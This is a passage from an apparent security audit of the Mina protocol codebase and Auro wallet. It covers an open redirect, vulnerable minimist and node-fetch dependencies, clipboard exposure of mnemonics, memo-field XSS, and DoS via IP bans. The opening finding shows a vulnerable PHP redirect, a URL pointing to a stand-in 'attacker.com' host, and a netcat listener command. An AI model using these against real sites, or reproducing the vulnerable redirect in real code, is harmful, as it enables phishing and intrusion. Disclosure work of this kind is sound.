If you fetch

```
http://mysite.com/redirect.php?url=http://attacker.com:8182/
```

then it will redirect to

```
http://attacker.com:8182/
```

First setup a web server and a netcat listener

```
http://mysite.com/redirect.php?url=http://attacker.com:8182/
```

```
//redirect.php
<?php
$url=$_GET["url"];
header("Location: $url");

exit;
?>
```

```
$netcat listner in http://attacker.com
nc -lnvp 8182$
```

```

          #!/usr/bin/env node
          "use strict";
          const { spawnSync } = require("child_process");
          const csv = require("csv-parser");
          const fs = require("fs");
          const path = require("path");
          const { GraphQLClient, gql } = require("graphql-request");
          const { Headers } = require("cross-fetch");
          const fetch = require("node-fetch");

          global.fetch = fetch;

          // WORKAROUND: https://github.com/prisma-labs/graphql-request/issues/206#
    issuecomment-689514984
          global.Headers = global.Headers || Headers;

          const strip = (str) => str.replace(/\s+/g, "");

          const filename = process.argv[2];
          const keysetName = strip(path.basename(filename, ".csv"));

          const results = [];
          const invalidKeys = [];
```

For more details on this issue please check this reference [2].

4.3 Prototype Pollution

One of the JavaScript dependencies used in code of the project is called "minimist". The used version of the minimist apparently is vulnerable to "Prototype Pollution Attack" by using the file *index.js*, function *setKey()* (lines 69-95). The vulnerable file is located in the following path:

```
/src/lib/snarky_js_bindings/index.js
```

The issue is in using the following vulnerable dependency in the front-end layer:

```
Minimist <=1.2.5

  "../../../../frontend/mina-signer/node_modules/minimist": {
      "version": "1.2.5",
      "dev": true,
      "license": "MIT"
    },
```

Note that minimist is a parse argument options module, and this package version is vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype using a constructor payload.

Attention: Prototype Pollution is a vulnerability affecting JavaScript, and it refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor, and prototype. Having this issue, an attacker can manipulate these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When the attack happens, it leads to either denial of service by triggering JavaScript exceptions or tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

4.4 node-fetch (V 2.6.0) dependencies is vulnerable to information leakage

The node-fetch dependency has been used in the following paths in the front-end layer:

```
      Path /frontend/wallet/generate-schema.js
      /automation/bin/genesis-import
      /automation/services
      /frontend/bot/
      /frontend/bot/src/Graphql.re
```

For more details please check the following reference [1].

```
const ws = require("ws");
const gql = require("graphql-tag");
const fetch = require("node-fetch");
const { split } = require("apollo-link");
const { HttpLink } = require("apollo-link-http");
const { ApolloClient } = require("apollo-client");
const { WebSocketLink } = require("apollo-link-ws");
const { InMemoryCache } = require("apollo-cache-inmemory");
const { getMainDefinition } = require("apollo-utilities");

const logger = require("./logger.js");

// Set up our GraphQL client

const {
  CODA_HOST = "localhost",
  CODA_PORT = 0xc0da,
  PUBLIC_KEY,
  FEE = 5
} = process.env;

const httpLink = new HttpLink({
```

```
  uri: `http://${CODA_HOST}:${CODA_PORT}/graphql`,
  fetch
});
```

```
// GraphQL

const ws = require("ws");
const { gql } = require("apollo-server");
const { ApolloClient } = require("apollo-client");
const { ApolloLink } = require("apollo-link");
const { InMemoryCache } = require("apollo-cache-inmemory");
const { HttpLink } = require("apollo-link-http");
const { WebSocketLink } = require("apollo-link-ws");
const fetch = require("node-fetch");
const fs = require("fs");
const { tmpdir } = require("os");
const Path = require("path");

const MINA_GRAPHQL_HOST = process.env["MINA_GRAPHQL_HOST"] || "localhost";
const MINA_GRAPHQL_PORT = process.env["MINA_GRAPHQL_PORT"] || 3085;
const MINA_GRAPHQL_PATH = process.env["MINA_GRAPHQL_PATH"] || "/graphql";
const CODA_TESTNET_NAME = process.env["CODA_TESTNET_NAME"] || "unknown";

const API_KEY_SECRET = process.env["GOOGLE_CLOUD_STORAGE_API_KEY"];
if (!API_KEY_SECRET) {
  console.error(
    "Make sure you include GOOGLE_CLOUD_STORAGE_API_KEY env var with the contents of the
     storage private key json"
  );
  process.exit(1);
}

const json_file_path = Path.join(tmpdir(), "google_cloud_api_key.json");
fs.writeFileSync(json_file_path, API_KEY_SECRET);
```

Listing 8: /frontend/points-hack-april20/lib.js

```

const { buildClientSchema, printSchema, introspectionQuery } = require("graphql");
const fs = require("fs");
const fetch = require('node-fetch')

if (process.argv.length < 3) {
  console.error("Invocation: node generate-schema.js <path|server>")
  process.exit(1)
}

function writeSchema(data) {
  const schema = buildClientSchema(data);
  console.log(printSchema(schema, {commentDescriptions: true}));
}
```

Listing 9: /frontend/wallet/generate-schema.js

5 Issues with Auro wallet

Auro wallet [6] is one of the major wallets of the Mina protocol. We analyzed the web extension of the wallet from the user experience. We noticed that the mnemonic phrase used to derive the wallet keys, password, and private keys are accessible to other users' processes on the device because of using Clipboard.

[6] https://www.aurowallet.com/

Note that "clipboard" is a global object that is accessible across application security boundaries. Any applications that are watching Clipboard can see the mnemonic when the user copies it to Clipboard.

With access to the mnemonic, an attacker would be able to clone the wallet and take over all of its assets.

Moreover, there are some UI/UX issues with the wallet interface. For example, there is no front-end sanitization on some transaction fields, such as MEMO, so due to the lack of check on the length of the input MEMO string, the wallet can get broken on users' browsers, for instance, by adding large strings.

In other popular extension wallets like MetaMask, there is event-based input limitation control. However, in Auro, it is postponed to the confirmation step.

We also noticed that the UI of the wallet does not sanitize potential malicious strings for MEMO; for instance, we could inject JavaScript code as MEMO string without facing any sanitizations (but the length has been controlled through making the transaction).

This is not necessarily hazardous for the core blockchain network. However, it may impose security issues like session hijacking or installing malware for the ecosystem users.

Attack scenario: An attacker can craft a JavaScript string that puts ransomware or backdoor in an on-load event of the browser and pass this string as the memo.

As a result, any users who try to watch the transaction on a web browser can potentially get influenced by the attack. For example, the block explorer or web wallets can become the targets of these classes of XSS attack [7].

6 Mac OS Incompatibles

At the time of writing this report, the associated Mina package for Homebrew is outdated or has some issues. we tested that on Darwin Kernel Version 20.6.0.

```
1- brew install minaprotocol/mina/mina
2- brew services start Mina
```

And the outcome is like this:

```
cloning into '/usr/local/Homebrew/Library/Taps/minaprotocol/homebrew-mina'...
remote: Enumerating objects: 243, done.
remote: Counting objects: 100% (51/51), done.
remote: Compressing objects: 100% (36/36), done.
remote: Total 243 (delta 27), reused 35 (delta 14), pack-reused 192
Receiving objects: 100% (243/243), 49.47 KiB | 625.00 KiB/s, done.
Resolving deltas: 100% (120/120), done.
Error: Invalid formula: /usr/local/Homebrew/Library/Taps/minaprotocol/homebrew-mina/mina
    -dev.rb
mina-dev: wrong number of arguments (given 1, expected 0)
Error: Invalid formula: /usr/local/Homebrew/Library/Taps/minaprotocol/homebrew-mina/mina
    -generate-keypair.rb
mina-generate-keypair: wrong number of arguments (given 1, expected 0)
Error: Invalid formula: /usr/local/Homebrew/Library/Taps/minaprotocol/homebrew-mina/mina
    .rb
mina: wrong number of arguments (given 1, expected 0)
Error: Cannot tap minaprotocol/mina: invalid syntax in tap!
```

Attention: A large number of crypto users use Apple Mac, so as a user experience suggestion, Mina needs to prepare an updated package for Homebrew or MacPorts. After this, we switched to CENT OS, and again there exist issues in the Mina required libraries and packages and Cent OS, so Mina is not MAC and CENT OS friendly.

Finally, we could install the whole environment on Linux Ubuntu, set up my private key, and run a node for the live forensics and runtime testing. In case of having sufficient time, dynamic transaction forensics and performing runtime attacks on these components might present interesting results.

7 Network Layer Protection Against the denial-of-service Attack

The Mina network is vulnerable to DoS attacks, especially DDoS attacks. An attack scenario would be a clique of nodes try send numerous cheap transactions to the mainnet/test net.

According to Mina explorer [7], the price of each transaction on average is **0.01**, which means sending thousands of transactions is still very cheap.

The punishment mechanism to prevent this here is scoring and putting the node IP address in an IPtables, and introducing that node as a malicious node to the network; when the score hits a certain number, then the IP will be banned for 24 hours [8].

Hence, the IP-based approach is has some downsides. For example, if attackers spoof a benign IP (let's say a reputable node in the network) and start performing banning behavior. It will result in 2 scenarios, one interruption of the mainnet network, the second creating chaos in work by banning spoofed IP nodes.

According to [9], Mina follows the bitcoin solution to address the issue:

First, where the code currently has 'TODO: punish' or 'Logger.faulty_peer', we should insert a call to 'record_misbehavior'. When the score for a host exceeds some threshold, the banlist will make sure that:

- The banned hosts won't show up as a result of querying the membership layer for peers
- RPC connections from those IPs will be rejected.

The banlist should be persistent, and the CLI should allow manually adding/removing IPs from the banlist:

```
mina client ban add IP duration
mina client ban remove IP
mina client ban list
```

By default, bans will last for one day. Note that in the case of bugs and not dishonesty, this could really cause chaos. In the worst case, the network can become totally disconnected, and no peer will willingly communicate with any other for very long.

However, it is unclear what the ideal punishment for misbehaving nodes is. A 1-day IP ban limits most opportunities for DoS, and bitcoin does it, so it seems reasonable. The main alternative is a permaban, but this is unnecessarily harsh. Someone else is probably going to reuse that IP soon enough.

A more complex system could have nodes sharing proofs of peer misbehavior, enabling trustless network-wide banning. This would need a fair amount of work for probably not much gain.

Recommendation:
There exists some good guidance regarding handling DoS in blockchain ecosystems. Here [10] there are several attack scenario explained and there are proper solutions as well.

8 Conclusion

The codebase and the architecture of the Mina network suffer from multiple classes of issues comprising centralization problems, information leaks, and design issues. In addition, the Mina sub-components have concerning coding weaknesses, including lack of tests, lack of fuzzing, and lack of commenting. Thorough unit tests, functional tests, and fuzzing tests are necessities for developing a reliable and secure code base.

[7] https://minaexplorer.com/mempool
[8] banlisting.md
[9] banlisting.md
[10] https://dl.acm.org/doi/pdf/10.1145/2810103.2813655

9 References

[1] Nvd - cve-2022-0235. https://nvd.nist.gov/vuln/detail/CVE-2022-0235. (Accessed on 08/17/2022).

[2] Nvd - cve-2022-1365. https://nvd.nist.gov/vuln/detail/CVE-2022-1365. (Accessed on 08/15/2022).

[3] Dmytro Lande, Oleksandr Puchkov, Ihor Subach, Mykhailo Boliukh, and Dmytro Nahornyi. Osint investigation to detect and prevent cyber attacks and cyber security incidents. *Collection" Information Technology and Security"*, 9(2):209–218, 2021.

[4] Yang Lu. Blockchain and the related issues: A review of current research topics. *Journal of Management Analytics*, 5(4):231–255, 2018.

[5] Divyakant Meva. Issues and challenges with blockchain: a survey. *International Journal of Computer Sciences and Engineering*, 6(12):488–491, 2018.

[6] Ashish Rajendra Sai, Jim Buckley, Brian Fitzgerald, and Andrew Le Gear. Taxonomy of centralization in public blockchain systems: A systematic literature review. *Information Processing & Management*, 58(4):102584, 2021.

[7] Ripto Mukti Wibowo and Aruji Sulaksono. Web vulnerability through cross site scripting (xss) detection with owasp security shepherd. *Indonesian Journal of Information Systems*, 3(2):149–159, 2021.

10 Technical Disclaimer

Within the short time allowed, the security assessor has tried to cover as many security issues as possible within the code following the best industry practices. This includes: cybersecurity vulnerabilities and issues in the source code file based on Ocaml, JavaScript, and Bash script standard security guidelines.

A more thorough audit would require more time, runtime simulations, network fuzzing, binary fuzzing, and writing extensive unit tests for all core functionalities. Moreover, the off-chain services and servers, including the front-end and the off-chain back-end, and other third-party services (including hosting, wallets, and blockchain explorers) can have their own vulnerabilities than can lead to successful attacks despite the safety of the blockchain core.